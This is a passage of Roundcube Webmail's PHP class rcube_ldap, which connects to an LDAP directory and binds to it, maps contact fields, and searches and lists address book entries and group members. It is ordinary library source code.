X_�C�C$program/lib/Roundcube/rcube_ldap.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Interface to an LDAP address directory                              |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 |         Andreas Dick <andudi (at) gmx (dot) ch>                       |
 |         Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

/**
 * Model class to access an LDAP address directory
 *
 * @package    Framework
 * @subpackage Addressbook
 */
class rcube_ldap extends rcube_addressbook
{
    // public properties
    public $primary_key = 'ID';
    public $groups      = false;
    public $readonly    = true;
    public $ready       = false;
    public $group_id    = 0;
    public $coltypes    = [];
    public $export_groups = false;

    // private properties
    protected $ldap;
    protected $formats  = [];
    protected $prop     = [];
    protected $fieldmap = [];
    protected $filter   = '';
    protected $sub_filter;
    protected $result;
    protected $ldap_result;
    protected $mail_domain = '';
    protected $debug       = false;

    /**
     * Group objectclass (lowercase) to member attribute mapping
     *
     * @var array
     */
    private $group_types = [
        'group'                   => 'member',
        'groupofnames'            => 'member',
        'kolabgroupofnames'       => 'member',
        'groupofuniquenames'      => 'uniqueMember',
        'kolabgroupofuniquenames' => 'uniqueMember',
        'univentiongroup'         => 'uniqueMember',
        'groupofurls'             => null,
    ];

    private $base_dn        = '';
    private $groups_base_dn = '';
    private $group_data;
    private $group_search_cache;
    private $cache;


    /**
    * Object constructor
    *
    * @param array  $p           LDAP connection properties
    * @param bool   $debug       Enables debug mode
    * @param string $mail_domain Current user mail domain name
    */
    function __construct($p, $debug = false, $mail_domain = null)
    {
        $this->prop = $p;

        $fetch_attributes = ['objectClass'];

        // Disable VLV by default
        if (!isset($this->prop['vlv'])) {
            $this->prop['vlv'] = false;
        }

        // check if groups are configured
        if (!empty($p['groups']) && is_array($p['groups'])) {
            $this->groups = true;
            // set member field
            if (!empty($p['groups']['member_attr'])) {
                $this->prop['member_attr'] = strtolower($p['groups']['member_attr']);
            }
            else if (empty($p['member_attr'])) {
                $this->prop['member_attr'] = 'member';
            }
            // set default name attribute to cn
            if (empty($this->prop['groups']['name_attr'])) {
                $this->prop['groups']['name_attr'] = 'cn';
            }
            if (empty($this->prop['groups']['scope'])) {
                $this->prop['groups']['scope'] = 'sub';
            }
            // extend group objectclass => member attribute mapping
            if (!empty($this->prop['groups']['class_member_attr'])) {
                $this->group_types = array_merge($this->group_types, $this->prop['groups']['class_member_attr']);
            }

            // add group name attrib to the list of attributes to be fetched
            $fetch_attributes[] = $this->prop['groups']['name_attr'];
        }
        if (isset($p['group_filters']) && is_array($p['group_filters'])) {
            $this->groups = $this->groups || count($p['group_filters']) > 0;

            foreach ($p['group_filters'] as $k => $group_filter) {
                // set default name attribute to cn
                if (empty($group_filter['name_attr']) && empty($this->prop['groups']['name_attr'])) {
                    $this->prop['group_filters'][$k]['name_attr'] = $group_filter['name_attr'] = 'cn';
                }

                if (!empty($group_filter['name_attr'])) {
                    $fetch_attributes[] = $group_filter['name_attr'];
                }
            }
        }

        // fieldmap property is given
        if (isset($p['fieldmap']) && is_array($p['fieldmap'])) {
            $p['fieldmap'] = array_filter($p['fieldmap']);
            foreach ($p['fieldmap'] as $rf => $lf) {
                $this->fieldmap[$rf] = $this->_attr_name($lf);
            }
        }
        else if (!empty($p)) {
            // read deprecated *_field properties to remain backwards compatible
            foreach ($p as $prop => $value) {
                if (!empty($value) && preg_match('/^(.+)_field$/', $prop, $matches)) {
                    $this->fieldmap[$matches[1]] = $this->_attr_name($value);
                }
            }
        }

        // use fieldmap to advertise supported coltypes to the application
        foreach ($this->fieldmap as $colv => $lfv) {
            list($col, $type) = rcube_utils::explode(':', $colv);
            $params           = explode(':', $lfv);

            $lf    = array_shift($params);
            $limit = 1;

            foreach ($params as $idx => $param) {
                // field format specification
                if (preg_match('/^(date)\[(.+)\]$/i', $param, $m)) {
                    $this->formats[$lf] = ['type' => strtolower($m[1]), 'format' => $m[2]];
                }
                // first argument is a limit
                else if ($idx === 0) {
                    if ($param == '*') $limit = null;
                    else               $limit = max(1, intval($param));
                }
                // second is a composite field separator
                else if ($idx === 1 && $param) {
                    $this->coltypes[$col]['serialized'][$type] = $param;
                }
            }

            if (!isset($this->coltypes[$col]) || !is_array($this->coltypes[$col])) {
                $subtypes = $type ? [$type] : null;
                $this->coltypes[$col] = ['limit' => $limit, 'subtypes' => $subtypes, 'attributes' => [$lf]];
            }
            elseif ($type) {
                $this->coltypes[$col]['subtypes'][] = $type;
                $this->coltypes[$col]['attributes'][] = $lf;
                $this->coltypes[$col]['limit'] += $limit;
            }

            $this->fieldmap[$colv] = $lf;
        }

        // support for composite address
        if (!empty($this->coltypes['street']) && !empty($this->coltypes['locality'])) {
            $this->coltypes['address'] = [
                'childs'     => [],
                'attributes' => [],
                'limit'      => max(1, ($this->coltypes['locality']['limit'] ?? 0) + ($this->coltypes['address']['limit'] ?? 0)),
                'subtypes'   => array_merge(
                    (array) ($this->coltypes['address']['subtypes'] ?? null),
                    (array) ($this->coltypes['locality']['subtypes'] ?? null)
                ),
            ] + (array) ($this->coltypes['address'] ?? []);

            foreach (['street','locality','zipcode','region','country'] as $childcol) {
                if (!empty($this->coltypes[$childcol])) {
                    $this->coltypes['address']['childs'][$childcol] = ['type' => 'text'];
                    $this->coltypes['address']['attributes'] = array_merge(
                        $this->coltypes['address']['attributes'],
                        (array) ($this->coltypes[$childcol]['attributes'] ?? null)
                    );
                    unset($this->coltypes[$childcol]);  // remove address child col from global coltypes list
                }
            }

            // at least one address type must be specified
            if (empty($this->coltypes['address']['subtypes'])) {
                $this->coltypes['address']['subtypes'] = ['home'];
            }
        }
        else if (!empty($this->coltypes['address'])) {
            $this->coltypes['address'] += ['type' => 'textarea', 'childs' => null, 'size' => 40];

            // 'serialized' means the UI has to present a composite address field
            if (!empty($this->coltypes['address']['serialized'])) {
                $childprop = ['type' => 'text'];
                $this->coltypes['address']['type'] = 'composite';
                $this->coltypes['address']['childs'] = [
                    'street'   => $childprop,
                    'locality' => $childprop,
                    'zipcode'  => $childprop,
                    'country'  => $childprop
                ];
            }
        }

        // make sure 'required_fields' and 'autovalues' are an array
        $this->prop['required_fields'] = (array) ($this->prop['required_fields'] ?? []);
        $this->prop['autovalues'] = (array) ($this->prop['autovalues'] ?? []);

        // make sure LDAP_rdn field is required
        if (
            !empty($this->prop['LDAP_rdn'])
            && !in_array($this->prop['LDAP_rdn'], $this->prop['required_fields'])
            && !array_key_exists($this->prop['LDAP_rdn'], $this->prop['autovalues'])
        ) {
            $this->prop['required_fields'][] = $this->prop['LDAP_rdn'];
        }

        foreach ($this->prop['required_fields'] as $key => $val) {
            $this->prop['required_fields'][$key] = $this->_attr_name($val);
        }

        // Build sub_fields filter
        if (!empty($this->prop['sub_fields']) && is_array($this->prop['sub_fields'])) {
            $this->sub_filter = '';
            foreach ($this->prop['sub_fields'] as $class) {
                if (!empty($class)) {
                    $class = is_array($class) ? array_pop($class) : $class;
                    $this->sub_filter .= '(objectClass=' . $class . ')';
                }
            }
            if (count($this->prop['sub_fields']) > 1) {
                $this->sub_filter = '(|' . $this->sub_filter . ')';
            }
        }

        if (!empty($p['sort'])) {
            $this->sort_col = is_array($p['sort']) ? $p['sort'][0] : $p['sort'];
        }

        $this->debug       = $debug;
        $this->mail_domain = $this->prop['mail_domain'] = $mail_domain;

        // initialize cache
        $rcube = rcube::get_instance();
        if ($cache_type = $rcube->config->get('ldap_cache', 'db')) {
            $cache_ttl  = $rcube->config->get('ldap_cache_ttl', '10m');
            $cache_name = 'LDAP.' . (!empty($this->prop['name']) ? asciiwords($this->prop['name']) : 'unnamed');

            $this->cache = $rcube->get_cache($cache_name, $cache_type, $cache_ttl);
        }

        // determine which attributes to fetch
        $this->prop['list_attributes'] = array_unique($fetch_attributes);
        $this->prop['attributes']      = array_merge(array_values($this->fieldmap), $fetch_attributes);

        foreach ($rcube->config->get('contactlist_fields') as $col) {
            $this->prop['list_attributes'] = array_merge($this->prop['list_attributes'], $this->_map_field($col));
        }

        // initialize ldap wrapper object
        $this->ldap = new rcube_ldap_generic($this->prop);
        $this->ldap->config_set(['cache' => $this->cache, 'debug' => $this->debug]);

        $this->_connect();
    }

    /**
     * Establish a connection to the LDAP server
     */
    private function _connect()
    {
        $rcube = rcube::get_instance();

        if ($this->ready) {
            return true;
        }

        if (empty($this->prop['hosts'])) {
            $this->prop['hosts'] = [];
        }

        // try to connect + bind for every host configured
        // with OpenLDAP 2.x ldap_connect() always succeeds but ldap_bind will fail if host isn't reachable
        // see http://www.php.net/manual/en/function.ldap-connect.php
        foreach ((array) $this->prop['hosts'] as $host) {
            // Parse host specification into the format expected by Net_LDAP3 (ldap_connect)
            list($host, $scheme, $port) = rcube_utils::parse_host_uri($host, 389, 636);

            $host = sprintf('%s://%s:%d', $scheme === 'ldaps' ? 'ldaps' : 'ldap', $host, $port);

            $this->ldap->config_set('use_tls', $scheme === 'tls');

            // skip host if connection failed
            if (!$this->ldap->connect($host)) {
                continue;
            }

            // See if the directory is writeable.
            if (!empty($this->prop['writable'])) {
                $this->readonly = false;
            }

            // trigger post-connect hook
            $rcube = rcube::get_instance();
            $conf  = $rcube->plugins->exec_hook('ldap_connected', $this->prop + ['host' => $host]);

            $bind_pass   = $conf['bind_pass'] ?? null;
            $bind_user   = $conf['bind_user'] ?? '';
            $bind_dn     = $conf['bind_dn'] ?? '';
            $auth_method = $conf['auth_method'] ?? '';

            $this->base_dn = $this->groups_base_dn = $conf['base_dn'] ?? null;
            if (!empty($conf['groups']['base_dn'])) {
                $this->groups_base_dn = $conf['groups']['base_dn'];
            }

            // User specific access, generate the proper values to use.
            if (!empty($conf['user_specific'])) {
                // No password set, use the session password
                if (empty($bind_pass)) {
                    $bind_pass = $rcube->get_user_password();
                }

                // Get the pieces needed for variable replacement.
                if ($fu = ($rcube->get_user_email() ?: ($conf['username'] ?? null))) {
                    list($u, $d) = explode('@', $fu);
                }
                else {
                    $u = '';
                    $d = $this->mail_domain;
                }

                $dc = 'dc='.strtr($d, ['.' => ',dc=']); // hierarchal domain string

                // resolve $dc through LDAP
                if (
                    !empty($conf['domain_filter'])
                    && !empty($conf['search_bind_dn'])
                    && method_exists($this->ldap, 'domain_root_dn')
                ) {
                    $this->ldap->bind($conf['search_bind_dn'], $conf['search_bind_pw']);
                    $dc = $this->ldap->domain_root_dn($d);
                }

                $replaces = ['%dn' => '', '%dc' => $dc, '%d' => $d, '%fu' => $fu, '%u' => $u];

                // Search for the dn to use to authenticate
                if (!empty($conf['search_base_dn']) && !empty($conf['search_filter'])
                    && (strstr($bind_dn, '%dn') || strstr($this->base_dn, '%dn') || strstr($this->groups_base_dn, '%dn'))
                ) {
                    $search_attribs = ['uid'];
                    $search_bind_attrib = null;

                    if (!empty($conf['search_bind_attrib'])) {
                        $search_bind_attrib = (array) $conf['search_bind_attrib'];
                        foreach ($search_bind_attrib as $r => $attr) {
                            $search_attribs[] = $attr;
                            $replaces[$r] = '';
                        }
                    }

                    $search_bind_dn = strtr($conf['search_bind_dn'], $replaces);
                    $search_base_dn = strtr($conf['search_base_dn'], $replaces);
                    $search_filter  = strtr($conf['search_filter'], $replaces);

                    $cache_key = rcube_cache::key_name('DN', [$host, $search_bind_dn, $search_base_dn, $search_filter, $conf['search_bind_pw']]);

                    if ($this->cache && ($dn = $this->cache->get($cache_key))) {
                        $replaces['%dn'] = $dn;
                    }
                    else {
                        $ldap = $this->ldap;
                        if (!empty($search_bind_dn) && !empty($conf['search_bind_pw'])) {
                            // To protect from "Critical extension is unavailable" error
                            // we need to use a separate LDAP connection
                            if (!empty($conf['vlv'])) {
                                $ldap = new rcube_ldap_generic($conf);
                                $ldap->config_set(['cache' => $this->cache, 'debug' => $this->debug]);
                                if (!$ldap->connect($host)) {
                                    continue;
                                }
                            }

                            if (!$ldap->bind($search_bind_dn, $conf['search_bind_pw'])) {
                                continue;  // bind failed, try next host
                            }
                        }

                        $res = $ldap->search($search_base_dn, $search_filter, 'sub', $search_attribs);
                        if ($res) {
                            $res->rewind();
                            $replaces['%dn'] = key($res->entries(true));

                            // add more replacements from 'search_bind_attrib' config
                            if (!empty($search_bind_attrib)) {
                                $res = $res->current();
                                foreach ($search_bind_attrib as $r => $attr) {
                                    $replaces[$r] = $res[$attr][0];
                                }
                            }
                        }

                        if ($ldap != $this->ldap) {
                            $ldap->close();
                        }
                    }

                    // DN not found
                    if (empty($replaces['%dn'])) {
                        if (!empty($conf['search_dn_default'])) {
                            $replaces['%dn'] = $conf['search_dn_default'];
                        }
                        else {
                            rcube::raise_error([
                                    'code' => 100, 'type' => 'ldap',
                                    'file' => __FILE__, 'line' => __LINE__,
                                    'message' => "DN not found using LDAP search."
                                ], true
                            );
                            continue;
                        }
                    }

                    if ($this->cache && !empty($replaces['%dn'])) {
                        $this->cache->set($cache_key, $replaces['%dn']);
                    }
                }

                // Replace the bind_dn and base_dn variables.
                $bind_dn              = strtr($bind_dn, $replaces);
                $this->base_dn        = strtr($this->base_dn, $replaces);
                $this->groups_base_dn = strtr($this->groups_base_dn, $replaces);

                // replace placeholders in filter settings
                if (!empty($conf['filter'])) {
                    $this->prop['filter'] = strtr($conf['filter'], $replaces);
                }

                foreach (['base_dn', 'filter', 'member_filter'] as $k) {
                    if (!empty($conf['groups'][$k])) {
                        $this->prop['groups'][$k] = strtr($conf['groups'][$k], $replaces);
                    }
                }

                if (!empty($conf['group_filters']) && is_array($conf['group_filters'])) {
                    foreach ($conf['group_filters'] as $i => $gf) {
                        if (!empty($gf['base_dn'])) {
                            $this->prop['group_filters'][$i]['base_dn'] = strtr($gf['base_dn'], $replaces);
                        }
                        if (!empty($gf['filter'])) {
                            $this->prop['group_filters'][$i]['filter'] = strtr($gf['filter'], $replaces);
                        }
                    }
                }

                if (empty($bind_user)) {
                    $bind_user = $u;
                }
            }

            if (empty($bind_pass) && strcasecmp($auth_method, 'GSSAPI') != 0) {
                $this->ready = true;
            }
            else {
                if (!empty($conf['auth_cid'])) {
                    $this->ready = $this->ldap->sasl_bind($conf['auth_cid'], $bind_pass, $bind_dn);
                }
                else if (!empty($bind_dn)) {
                    $this->ready = $this->ldap->bind($bind_dn, $bind_pass);
                }
                else {
                    $this->ready = $this->ldap->sasl_bind($bind_user, $bind_pass);
                }
            }

            // connection established, we're done here
            if ($this->ready) {
                break;
            }

        }  // end foreach hosts

        if (empty($this->ldap->conn)) {
            rcube::raise_error([
                    'code' => 100, 'type' => 'ldap',
                    'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Could not connect to any LDAP server"
                ], true
            );

            return false;
        }

        return $this->ready;
    }

    /**
     * Close connection to LDAP server
     */
    function close()
    {
        if ($this->ldap) {
            $this->ldap->close();
        }
    }

    /**
     * Returns address book name
     *
     * @return string Address book name
     */
    function get_name()
    {
        return $this->prop['name'];
    }

    /**
     * Set internal list page
     *
     * @param number $page Page number to list
     */
    function set_page($page)
    {
        $this->list_page = (int) $page;
        $this->ldap->set_vlv_page($this->list_page, $this->page_size);
    }

    /**
     * Set internal page size
     *
     * @param number $size Number of records to display on one page
     */
    function set_pagesize($size)
    {
        $this->page_size = (int) $size;
        $this->ldap->set_vlv_page($this->list_page, $this->page_size);
    }

    /**
     * Set internal sort settings
     *
     * @param string $sort_col Sort column
     * @param string $sort_order Sort order
     */
    function set_sort_order($sort_col, $sort_order = null)
    {
        if (!empty($this->coltypes[$sort_col]['attributes'])) {
            $this->sort_col = $this->coltypes[$sort_col]['attributes'][0];
        }
    }

    /**
     * Save a search string for future listings
     *
     * @param string $filter Filter string
     */
    function set_search_set($filter)
    {
        $this->filter = $filter;
    }

    /**
     * Getter for saved search properties
     *
     * @return mixed Search properties used by this class
     */
    function get_search_set()
    {
        return $this->filter;
    }

    /**
     * Reset all saved results and search parameters
     */
    function reset()
    {
        $this->result      = null;
        $this->ldap_result = null;
        $this->filter      = '';
    }

    /**
     * List the current set of contact records
     *
     * @param array $cols   List of cols to show
     * @param int   $subset Only return this number of records
     * @param bool   $nocount True to skip the count query (Not used)
     *
     * @return array Indexed list of contact records, each a hash array
     */
    function list_records($cols = null, $subset = 0, $nocount = false)
    {
        if (!empty($this->prop['searchonly']) && empty($this->filter) && !$this->group_id) {
            $this->result = new rcube_result_set(0);
            $this->result->searchonly = true;

            return $this->result;
        }

        // fetch group members recursively
        if ($this->group_id && !empty($this->group_data['dn'])) {
            $entries = $this->list_group_members($this->group_data['dn']);

            // make list of entries unique and sort it
            $seen = [];
            foreach ($entries as $i => $rec) {
                if (!empty($seen[$rec['dn']])) {
                    unset($entries[$i]);
                }
                $seen[$rec['dn']] = true;
            }
            usort($entries, [$this, '_entry_sort_cmp']);

            $entries['count'] = count($entries);
            $this->result = new rcube_result_set($entries['count'], ($this->list_page-1) * $this->page_size);
        }
        else {
            // exec LDAP search if no result resource is stored
            if ($this->ready && $this->ldap_result === null) {
                $this->ldap_result = $this->extended_search();
            }

            // count contacts for this user
            $this->result = $this->count();

            $entries = $this->ldap_result;
        }  // end else

        // start and end of the page
        $start_row = $this->ldap->vlv_active ? 0 : $this->result->first;
        $start_row = $subset < 0 ? $start_row + $this->page_size + $subset : $start_row;
        $last_row = $this->result->first + $this->page_size;
        $last_row = $subset != 0 ? $start_row + abs($subset) : $last_row;

        // filter entries for this page
        for ($i = $start_row; $i < min($entries['count'] ?? 0, $last_row); $i++) {
            if (!empty($entries[$i])) {
                $this->result->add($this->_ldap2result($entries[$i]));
            }
        }

        return $this->result;
    }

    /**
     * Get all members of the given group
     *
     * @param string $dn      Group DN
     * @param bool   $count   Count only
     * @param array  $entries Group entries (if called recursively)
     *
     * @return array  Accumulated group members
     */
    function list_group_members($dn, $count = false, $entries = null)
    {
        $group_members = [];

        // fetch group object
        if (empty($entries)) {
            $attribs = array_merge(['dn', 'objectClass', 'memberURL'], array_values($this->group_types));
            $entries = $this->ldap->read_entries($dn, '(objectClass=*)', $attribs);
            if ($entries === false) {
                return $group_members;
            }
        }

        for ($i=0; $i < $entries['count']; $i++) {
            $entry = $entries[$i];
            $attrs = [];

            foreach ((array) $entry['objectclass'] as $objectclass) {
                if (($member_attr = $this->get_group_member_attr([$objectclass], ''))
                    && ($member_attr = strtolower($member_attr)) && !in_array($member_attr, $attrs)
                ) {
                    $members       = $this->_list_group_members($dn, $entry, $member_attr, $count);
                    $group_members = array_merge($group_members, $members);
                    $attrs[]       = $member_attr;
                }
                else if (!empty($entry['memberurl'])) {
                    $members       = $this->_list_group_memberurl($dn, $entry, $count);
                    $group_members = array_merge($group_members, $members);
                }

                if (!empty($this->prop['sizelimit']) && count($group_members) > $this->prop['sizelimit']) {
                    break 2;
                }
            }
        }

        return array_filter($group_members);
    }

    /**
     * Fetch members of the given group entry from server
     *
     * @param string $dn    Group DN
     * @param array  $entry Group entry
     * @param string $attr  Member attribute to use
     * @param bool   $count Count only
     *
     * @return array Accumulated group members
     */
    private function _list_group_members($dn, $entry, $attr, $count)
    {
        // Use the member attributes to return an array of member ldap objects
        // NOTE that the member attribute is supposed to contain a DN
        $group_members = [];
        if (empty($entry[$attr])) {
            return $group_members;
        }

        // read these attributes for all members
        $attrib = $count ? ['dn', 'objectClass'] : $this->prop['list_attributes'];
        $attrib = array_merge($attrib, array_values($this->group_types));
        $attrib[] = 'memberURL';

        $filter = !empty($this->prop['groups']['member_filter']) ? $this->prop['groups']['member_filter'] : '(objectclass=*)';

        for ($i=0; $i < $entry[$attr]['count']; $i++) {
            if (empty($entry[$attr][$i])) {
                continue;
            }

            $members = $this->ldap->read_entries($entry[$attr][$i], $filter, $attrib);
            if ($members == false) {
                $members = [];
            }

            // for nested groups, call recursively
            $nested_group_members = $this->list_group_members($entry[$attr][$i], $count, $members);

            unset($members['count']);
            $group_members = array_merge($group_members, array_filter($members), $nested_group_members);
        }

        return $group_members;
    }

    /**
     * List members of group class groupOfUrls
     *
     * @param string $dn    Group DN
     * @param array  $entry Group entry
     * @param bool   $count True if only used for counting
     *
     * @return array Accumulated group members
     */
    private function _list_group_memberurl($dn, $entry, $count)
    {
        $group_members = [];

        for ($i = 0; $i < $entry['memberurl']['count']; $i++) {
            // extract components from url
            if (!preg_match('!ldap://[^/]*/([^\?]+)\?\?(\w+)\?(.*)$!', $entry['memberurl'][$i], $m)) {
                continue;
            }

            // add search filter if any
            $filter = $this->filter ? '(&(' . $m[3] . ')(' . $this->filter . '))' : $m[3];
            $attrs  = $count ? ['dn', 'objectClass'] : $this->prop['list_attributes'];

            if ($result = $this->ldap->search($m[1], $filter, $m[2], $attrs, $this->group_data)) {
                $entries = $result->entries();
                for ($j = 0; $j < $entries['count']; $j++) {
                    if ($this->is_group_entry($entries[$j]) && ($nested_group_members = $this->list_group_members($entries[$j]['dn'], $count))) {
                        $group_members = array_merge($group_members, $nested_group_members);
                    }
                    else {
                        $group_members[] = $entries[$j];
                    }
                }
            }
        }

        return $group_members;
    }

    /**
     * Callback for sorting entries
     */
    function _entry_sort_cmp($a, $b)
    {
        return strcmp($a[$this->sort_col][0] ?? '', $b[$this->sort_col][0] ?? '');
    }

    /**
     * Search contacts
     *
     * @param mixed   $fields   The field name of array of field names to search in
     * @param mixed   $value    Search value (or array of values when $fields is array)
     * @param int     $mode     Matching mode. Sum of rcube_addressbook::SEARCH_*
     * @param bool    $select   True if results are requested, False if count only
     * @param bool    $nocount  (Not used)
     * @param array   $required List of fields that cannot be empty
     *
     * @return rcube_result_set List of contact records
     */
    function search($fields, $value, $mode = 0, $select = true, $nocount = false, $required = [])
    {
        $mode = intval($mode);

        // special treatment for ID-based search
        if ($fields == 'ID' || $fields == $this->primary_key) {
            $ids = !is_array($value) ? explode(',', $value) : $value;
            $result = new rcube_result_set();
            foreach ($ids as $id) {
                if ($rec = $this->get_record($id, true)) {
                    $result->add($rec);
                    $result->count++;
                }
            }
            return $result;
        }

        $rcube = rcube::get_instance();

        $list_fields  = $rcube->config->get('contactlist_fields');
        $fuzzy_search = intval(!empty($this->prop['fuzzy_search']) && !($mode & rcube_addressbook::SEARCH_STRICT));

        // use VLV pseudo-search for autocompletion
        if (!empty($this->prop['vlv_search']) && $this->ready
            && implode(',', (array)$fields) == implode(',', $list_fields)
        ) {
            $this->result = new rcube_result_set(0);

            $this->ldap->config_set('fuzzy_search', $fuzzy_search);

            $ldap_data = $this->ldap->search($this->base_dn, $this->prop['filter'], $this->prop['scope'], $this->prop['attributes'],
                ['search' => $value /*, 'sort' => $this->prop['sort'] */]);

            if ($ldap_data === false) {
                return $this->result;
            }

            // get all entries of this page and post-filter those that really match the query
            $search = mb_strtolower($value);
            foreach ($ldap_data as $entry) {
                $rec = $this->_ldap2result($entry);
                foreach ($fields as $f) {
                    if (!empty($rec[$f])) {
                        foreach ((array)$rec[$f] as $val) {
                            if ($this->compare_search_value($f, $val, $search, $mode)) {
                                $this->result->add($rec);
                                $this->result->count++;
                                break 2;
                            }
                        }
                    }
                }
            }

            return $this->result;
        }

        // advanced per-attribute search
        if (is_array($value)) {
            // use AND operator for advanced searches
            $filter = '(&';

            // set wildcards
            $wp = $ws = '';
            if ($fuzzy_search) {
                $ws = '*';
                if (!($mode & rcube_addressbook::SEARCH_PREFIX)) {
                    $wp = '*';
                }
            }

            foreach ((array) $fields as $idx => $field) {
                $val = $value[$idx];
                if (!strlen($val)) {
                    continue;
                }
                if ($attrs = $this->_map_field($field)) {
                    if (count($attrs) > 1) {
                        $filter .= '(|';
                    }
                    foreach ($attrs as $f) {
                        $filter .= "($f=$wp" . rcube_ldap_generic::quote_string($val) . "$ws)";
                    }
                    if (count($attrs) > 1) {
                        $filter .= ')';
                    }
                }
            }

            $filter .= ')';
        }
        else {
            $attributes = [];

            if ($fields == '*') {
                $fields = (array) ($this->prop['search_fields'] ?? []);

                // If search fields aren't configured use some common fields
                if (empty($fields)) {
                    $fields = ['name', 'surname', 'firstname', 'email'];
                }
            }

            // map address book fields into ldap attributes
            foreach ((array) $fields as $field) {
                if (!empty($this->coltypes[$field]) && !empty($this->coltypes[$field]['attributes'])) {
                    $attributes = array_merge($attributes, (array) $this->coltypes[$field]['attributes']);
                }
            }

            // compose a full-text-like search filter
            $filter = rcube_ldap_generic::fulltext_search_filter($value, $attributes, $mode & ~rcube_addressbook::SEARCH_GROUPS);
        }

        // add required (non empty) fields filter
        $req_filter = '';
        foreach ((array) $required as $field) {
            if (in_array($field, (array) $fields)) {
                // required field is already in search filter
                continue;
            }
            if ($attrs = $this->_map_field($field)) {
                if (count($attrs) > 1) {
                    $req_filter .= '(|';
                }
                foreach ($attrs as $f) {
                    $req_filter .= "($f=*)";
                }
                if (count($attrs) > 1) {
                    $req_filter .= ')';
                }
            }
        }

        if (!empty($req_filter)) {
            $filter = '(&' . $req_filter . $filter . ')';
        }

        // avoid double-wildcard if $value is empty
        $filter = preg_replace('/\*+/', '*', $filter);

        if ($mode & rcube_addressbook::SEARCH_GROUPS) {
            $filter = 'e:' . $filter;
        }

        // Reset the previous search result
        $this->reset();

        // set filter string and execute search
        $this->set_search_set($filter);

        if ($select) {
            $this->list_records();
        }
        else {
            $this->result = $this->count();
        }

        return $this->result;
    }

    /**
     * Count number of available contacts in database
     *
     * @return object rcube_result_set Resultset with values for 'count' and 'first'
     */
    function count()
    {
        $count = 0;

        if (!empty($this->ldap_result)) {
            $count = $this->ldap_result['count'];
        }
        else if ($this->group_id && !empty($this->group_data['dn'])) {
            $count = count($this->list_group_members($this->group_data['dn'], true));
        }
        // We have a connection but no result set, attempt to get one.
        else if ($this->ready) {
            $count = $this->extended_search(true);
        }

        return new rcube_result_set($count, ($this->list_page-1) * $this->page_size);
    }

    /**
     * Wrapper on LDAP searches with group_filters support, which
     * allows searching for contacts AND groups.
     *
     * @param bool $count Return count instead of the records
     *
     * @return int|array Count of records or the result array (with 'count' item)
     */
    protected function extended_search($count = false)
    {
        $prop    = $this->group_id ? $this->group_data : $this->prop;
        $base_dn = $this->group_id ? $prop['base_dn'] : $this->base_dn;
        $attrs   = $count ? ['dn'] : $this->prop['attributes'];

        // Use global search filter
        if ($filter = $this->filter) {
            if ($filter[0] == 'e' && $filter[1] == ':') {
                $filter = substr($filter, 2);
                $is_extended_search = !$this->group_id;
            }

            $prop['filter'] = $filter;

            // add general filter to query
            if (!empty($this->prop['filter'])) {
                $prop['filter'] = '(&(' . preg_replace('/^\(|\)$/', '', $this->prop['filter']) . ')' . $filter . ')';
            }
        }

        $search_scope  = $prop['scope'] ?? 'sub';
        $search_filter = $prop['filter'] ?? '(objectclass=*)';

        $result = $this->ldap->search($base_dn, $search_filter, $search_scope, $attrs, $prop, $count);
        $result_count = 0;

        // we have a search result resource, get all entries
        if (!$count && $result) {
            $result_count = $result->count();
            $result       = $result->entries();
            unset($result['count']);
        }

        // search for groups
        if (!empty($is_extended_search)
            && !empty($this->prop['group_filters'])
            && is_array($this->prop['group_filters'])
            && !empty($this->prop['groups']['filter'])
        ) {
            $name_attr  = $this->prop['groups']['name_attr'];
            $email_attr = $this->prop['groups']['email_attr'] ?: 'mail';
            $attrs      = array_unique(['dn', 'objectClass', $name_attr, $email_attr]);

            $search_scope  = $this->prop['groups']['scope'] ?? 'sub';
            $search_filter = '(&(' . preg_replace('/^\(|\)$/', '', $this->prop['groups']['filter']) . ')' . $filter . ')';

            // for groups we may use cn instead of displayname...
            if ($this->prop['fieldmap']['name'] != $name_attr) {
                $search_filter = str_replace(strtolower($this->prop['fieldmap']['name']) . '=', $name_attr . '=', $search_filter);
            }

            $res = $this->ldap->search($this->groups_base_dn, $search_filter, $search_scope, $attrs, $prop, $count);

            if ($count && $res) {
                $result += $res;
            }
            else if (!$count && $res && ($res_count = $res->count())) {
                $res = $res->entries();
                unset($res['count']);
                $result = array_merge($result, $res);
                $result_count += $res_count;
            }
        }

        if (!$count && $result) {
            // sorting
            if ($this->sort_col && (empty($prop['scope']) || $prop['scope'] !== 'base') && !$this->ldap->vlv_active) {
                usort($result, [$this, '_entry_sort_cmp']);
            }

            $result['count'] = $result_count;
        }

        return $result;
    }

    /**
     * Return the last result set
     *
     * @return object rcube_result_set Current resultset or NULL if nothing selected yet
     */
    function get_result()
    {
        return $this->result;
    }

    /**
     * Get a specific contact record
     *
     * @param mixed $dn    Record identifier
     * @param bool  $assoc Return as associative array
     *
     * @return mixed Hash array or rcube_result_set with all record fields
     */
    function get_record($dn, $assoc = false)
    {
        $res = $this->result = null;

        if ($this->ready && $dn) {
            $dn = self::dn_decode($dn);

            if ($rec = $this->ldap->get_entry($dn, $this->prop['attributes'])) {
                $rec = array_change_key_case($rec, CASE_LOWER);
            }

            // Use ldap_list to get subentries like country (c) attribute (#1488123)
            if (!empty($rec) && $this->sub_filter) {
                if ($entries = $this->ldap->list_entries($dn, $this->sub_filter, array_keys($this->prop['sub_fields']))) {
                    foreach ($entries as $entry) {
                        $lrec = array_change_key_case($entry, CASE_LOWER);
                        $rec  = array_merge($lrec, $rec);
                    }
                }
            }

            if (!empty($rec)) {
                // Add in the dn for the entry.
                $rec['dn'] = $dn;
                $res = $this->_ldap2result($rec);
                $this->result = new rcube_result_set(1);
                $this->result->add($res);
            }
        }

        return $assoc ? $res : $this->result;
    }

    /**
     * Returns the last error occurred (e.g. when updating/inserting failed)
     *
     * @return array Hash array with the following fields: type, message
     */
    function get_error()
    {
        $err = $this->error;

        // check ldap connection for errors
        if (!$err && $this->ldap->get_error()) {
